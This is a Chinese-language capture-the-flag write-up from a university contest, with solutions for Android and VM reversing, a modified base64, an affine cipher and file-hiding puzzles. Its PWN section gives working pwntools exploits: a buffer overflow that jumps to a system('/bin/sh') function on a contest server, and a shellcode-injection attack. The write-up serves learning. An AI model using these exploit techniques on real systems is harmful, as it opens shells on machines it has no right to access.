菜到哭泣。

reverse

Easy Android

1577010352035

1577010366558

AES在线解密

参数都在上面的函数里有(数据块128位没找到,我猜的)。

Snipaste_2019-12-22_10-27-32

Medium Android

变种base64.

主函数:

1577010893503

base64_encode:

下图代码将字符串nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf反转并作为base64的码表。

1577010995091

//反转字符串
//其实大佬可以直接看出上图的算法就是字符串反转,只有我这种菜鸡才不得不用c++验证一下。
#include <iostream>
using namespace std;
int main(){
    char aNf67gmb4w50pqc[] = "nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf";
    signed __int64 v11 = 63LL;
    char *v12 = aNf67gmb4w50pqc;
      do
      {
        char v13 = *v12 ^ aNf67gmb4w50pqc[v11];
        *v12 = v13;
        char v14 = aNf67gmb4w50pqc[v11] ^ v13;
        aNf67gmb4w50pqc[v11--] = v14;
        *v12 ^= v14;
        ++v12;
      }
      while ( v11 != 31 );
    for (int i=0;i<=63;i++){
        cout<<aNf67gmb4w50pqc[i];
    }
} 
//输出码表:fGtvYr/JauS1jINd+h9bXkoWxEOAseqyKmPcl82LZ3UTDzRVHiCQp05w4BMg76Fn

错误脚本

一开始误以为算法就是换了码表的base64,写出下面的脚本:

import base64

str1 = "xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp="

string1 = 'fGtvYr/JauS1jINd+h9bXkoWxEOAseqyKmPcl82LZ3UTDzRVHiCQp05w4BMg76Fn'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))

str1是密文,string1为新码表,string2为默认码表。

输出b'cum\x8b\x9c\x8bf{A\x91\xbe\x8fple\xbe\xbb\x9eyKe\x9a\x8f\xabheD\x8d\xbe\x88ay!!}'

或者可以用下面的脚本:

base64_charset = 'nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf'[::-1]

def Base64NewDecode(string):
    base64_bytes = ["{:0>6}".format(str(bin(base64_charset.index(c))).replace('0b', '')) for c in string if c != '=']
    base64_bytes_str = ''.join(base64_bytes)    
    
    for i in range(len(base64_bytes_str)//8):
        byte = base64_bytes_str[i*8:i*8+8]
        if 32<=int(byte, 2)<=126:
            print(chr(int(byte,2)),end='')
        else:
            print('*',end='')

Base64NewDecode('xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp=')

输出cum***f{A***ple***yKe***heD***ay!!} (非法字符用*代替)

正确脚本

观察上面的字符串,三个正常,三个非法,并且最重要的,第一处非法的三个字符一定是tct(因为cumtctf),观察二进制10001011 10011100 10001011,一三的二进制相同,按位反转后,1000101101110100,恰好是字符t.

所以猜测算法不仅是换了码表的base64,而且奇数的每三个字符(看不懂的话对照一下上面字符串的*星号的位置,数学表达就是6k+3,6k+4,6k+5, k=1,2,3,4,5)都要按位翻转。

base64_charset = 'nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf'[::-1]

def Base64NewDecode(string):
    base64_bytes = ["{:0>6}".format(str(bin(base64_charset.index(c))).replace('0b', '')) for c in string if c != '=']
    base64_bytes_str = ''.join(base64_bytes)
    
    for i in range(len(base64_bytes_str)//8):
        if (i // 3) % 2 == 0:
            byte = base64_bytes_str[i*8:i*8+8]
            if 32<=int(byte, 2)<=126:
                print(chr(int(byte,2)),end='')
            else:
                print('*',end='')
        else:
            byte = base64_bytes_str[i*8:i*8+8]#.replace('0','-').replace('1','0').replace('-','1')
            if 32<=(int(byte,2) ^ 0xff)<=126:
                print(chr(int(byte,2) ^ 0xff),end='')
            else:
                print('*',end='')

Base64NewDecode('xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp=')

按位翻转其实就是按位与1异或,对于8位二进制而言,就是与0b111111110xff异或

输出cumtctf{AnAppleADayKeepTheDrAway!**

综合上面的cum***f{A***ple***yKe***heD***ay!!}

flag就是cumtctf{AnAppleADayKeepTheDrAway!!}

easy_vm

主函数

1577012465840

加密函数

1577012617605

bytedd:

1577012518050

第一个字节是数据,第四个字节是操作码,4个操作码对应4种运算。

最后的13h是结束循环的标志,请对照上上图中的红线处。

bytepp = [0xa, 0xa1,0x5d,0x56,0x7b,0xab,0x57,0x77,0x3c,0x5e,0x64,0xe1,0x49,0xb2,0x60,0x6f,0x1,0x5d,0x8a,0x148,0x50]
op = [0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc]
bytedd = [0x41,0x38,0x59,0x4e,0x2d,0x4e,0x0f,0x41,0x20,0x62,0x4e,0x37,0x0b,0x64,0x73,0x63,0x42,0x21,0x16,0x0a]
flag = [0]*21
v2 = [0] * 21
for i in range(len(v2)):
    v2[i] = bytepp[i] ^ 0x2d
for i in range(19, -1, -1):
    v1 = op[i]
    if v1 == 0xf8:
        flag[i] = v2[i] ^ bytedd[i]
    elif v1 == 0xf9:
        flag[i] = (v2[i] - bytedd[i]) ^ bytedd[i]
    elif v1 == 0xff:
        flag[i] = (v2[i] -56) ^ bytedd[i]
    elif v1 == 0xcc:
        flag[i] = (v2[i]//3) ^ bytedd[i]
flag = ''.join(map(chr,flag))
print(flag)

四种运算,分别逆向算法。逻辑很简单,所以这里就不详细分析了。

PWN

eeeeeeasy

主函数:

1577012962976

并且发现了调用system("/bin/sh")的函数。

from pwn import *

p = remote('202.119.201.199','11000')
payload = 'a'*0x18 + p64(0x4005B6)
p.sendline(payload)
p.interactive()

但是写wp时,不知道为什么本地没打通,搞不明白。

0x4005b6system('/bin/sh')的地址。

what is shellcode?

1577014235140

通过第八行输出的v5的地址,计算出buf的地址。

第一个read没用,随便写点数据。

第二个read,写入shellcode,并填充垃圾字符,直至ret处。返回地址为buf的地址(即shellcode的地址)

from pwn import *

p = process("./ret2shellcode")
#p = remote('202.119.201.199', '11002')
context(arch='amd64', os='linux', log_level='debug')
shellcode = asm(shellcraft.sh())

t = p.recvuntil('there is a gift: ')
v5_addr = int(p.recv()[:-1],16)    #去除\n
print hex(v5_addr)
buf_addr = v5_addr-(0x110-0x4)
p.sendline('a'*0x09)
payload = flat([shellcode.ljust(0x118, "A"), buf_addr])
#payload = shellcode + 'A'* (0x110+0x08-len(shellcode)) + p64(buf_addr)
#上面两个语句是等价的
p.sendline(payload)
p.interactive()

CRYPTO

仿射密码

密文:cejldputgtbjwrfhpttnt

穷举即可,从几百条字符串中找到flag

参考:【密码学】古典密码

#-*- coding:utf-8 -*-
# Classical Cipher: Affine Cipher
# Table of statistical result
fTbl = "EARIOTNSLCUDPMHGBFYWKVXZJQ"
class Node:
    ch = ''
    cnt = 0
    def __init__(self,ch,cnt):
        self.ch = ch
        self.cnt = cnt
    def __str__(self):
        return self.ch+":\t"+str(self.cnt)
    def __lt__(self,other):
        return self.cnt > other.cnt
# Greatest Common Divisor(GCD)
def gcd(a,b):
    if a%b == 0:
        return b
    return gcd(b,a%b)
# Find mod m reverse of a
def findModReverse(a,m):
    if gcd(a,m)!=1:
        return None
    u1,u2,u3 = 1,0,a
    v1,v2,v3 = 0,1,m
    while v3!=0:
        q = u3//v3
        v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
    return u1%m
# Encryption
def AffineEncrypt(m,k1,k2):
    k2 %= 26
    if gcd(k1,26) != 1:
        print("k1 and 26 are not mutually prime, and encryption fails.")
        return
    l = len(m)
    ans = ""
    for i in range(l):
        if m[i].isupper():
            ans += chr((k1*(ord(m[i])-ord('A'))+k2)%26+ord('A'))
        elif m[i].islower():
            ans += chr((k1*(ord(m[i])-ord('a'))+k2)%26+ord('a'))
        else:
            ans += m[i]
    return ans
# Decryption(normal)
def AffineDecrypt(c,k1,k2):
    k2 %= 26
    if gcd(k1,26) != 1:
        print("k1 and 26 are not mutually prime, and decryption fails.")
        return
    k1 = findModReverse(k1,26)
    l = len(c)
    ans = ""
    for i in range(l):
        if c[i].isupper():
            ans += chr((k1*(ord(c[i])-ord('A')+26-k2))%26+ord('A'))
        elif c[i].islower():
            ans += chr((k1*(ord(c[i])-ord('a')+26-k2))%26+ord('a'))
        else:
            ans += c[i]
    return ans
# Decryption(exhaustive)
def BruteAffineDecrypt(c):
    for k1 in range(26):
        if gcd(k1,26) == 1:
            for k2 in range(26):
                print "k1 = "+str(k1).zfill(2),
                print ", k2 = "+str(k2).zfill(2),
                print ": "+AffineDecrypt(c,k1,k2)
# Decryption(statistical analysis)
def StatisticalAffineDecrypt(c):
    l = len(c)
    ciperCopy = c.lower()
    alphaNum = []
    # Initialize
    for i in range(26):
        t = Node(chr(ord('a')+i),0)
        alphaNum.append(t)
    # Count
    for i in range(l):
        if ciperCopy[i].isalpha():
            alphaNum[ord(ciperCopy[i])-ord('a')].cnt += 1
    # Sort
    alphaNum.sort()
    # Generate Substitution Table
    for k1 in range(26):
        if gcd(k1,26) == 1:
            for k2 in range(26):
                if chr((4*k1+k2)%26+ord('a')) == alphaNum[0].ch:
                    print "k1 = "+str(k1).zfill(2),
                    print ", k2 = "+str(k2).zfill(2)+":"
                    print AffineDecrypt(c,k1,k2)
# Main function
def main():
    while True:
        op = raw_input("What do you want to do?\n[E]Encryption [D]Decryption [B]Brute-Attack [S]Statistical-Analysis-Attack\n").upper()
        if op[0] == "E":
            # s = "Haha CUMTer~"
            # k1,k2 = 5,6
            s = raw_input("Please enter your plaintext:\n\t")
            k1 = input("Please enter your k1(gcd(k1,26)=1):\n\t")
            k2 = input("Please enter your k2:\n\t")
            # ********  Encryption  ********
            print 8*"*"+"  Encryption  "+8*"*"
            Encryption = AffineEncrypt(s,k1,k2)
            print "The Ciphertext is:\n\t"+Encryption
            break
        elif op[0] == "D":
            s = raw_input("Please enter your ciphertext:\n\t")
            k1 = input("Please enter your k1(gcd(k1,26)=1):\n\t")
            k2 = input("Please enter your k2:\n\t")
            # ********  Decryption  ********
            print 8*"*"+"  Decryption  "+8*"*"
            Decryption = AffineDecrypt(s,k1,k2)
            print "The Plaintext is:\n\t"+Decryption
            break
        elif op[0] == "B":
            # *******  Brute Attack  *******
            s = raw_input("Please enter your ciphertext:\n\t")
            print 7*"*"+"  Brute Attack  "+7*"*"
            BruteAffineDecrypt(s)
            break
        elif op[0] == "S":
            # ***  Statistical Analysis Attack  ***
            # s = "Pu yfo of oin hvy ufa hrpkpyb, jlar ph hopkk py oin hvy oinan, svo jnjpkk klvbi rfan zfyupgnyo zlkr; pu ovayng of ufvyg iph fjy hilgfj, lmmafmaplon nhzlmn, oin hvy jpkk sn oiafvbi oin inlao,jlar nlzi mklzn snipyg oin zfayna; pu ly fvohoanozing mlkr zlyyfo ulkk svoonaukx, oiny zknyzing jlcpyb larh, bpcny mfjna; pu P zly'o ilcn sapbio hrpkn, po jpkk ulzn of oin hvyhipyn, lyg hvyhipyn hrpkn ofbnoina, py uvkk skffr."
            s = raw_input("Please enter your ciphertext:\n\t")
            print 3*"*"+"  Statistical Analysis Attack  "+3*"*"
            StatisticalAffineDecrypt(s)
            break
        else:
            continue
if __name__ == '__main__':
    main()

1577015847923

MISC

你可劲找之word

打开word,发现flag,但是禁止复制,所以手打即可。

你可劲找之JPG

winhex打开,文件末尾有flag

你可劲找之音乐贼好听

二维码修复,得到key:BxS1909

然后使用MP3Stego从mp3中分出flag

1577016190443

flag在目录下的speaker.mp3.txt内。

Last modification:January 9th, 2020 at 01:29 pm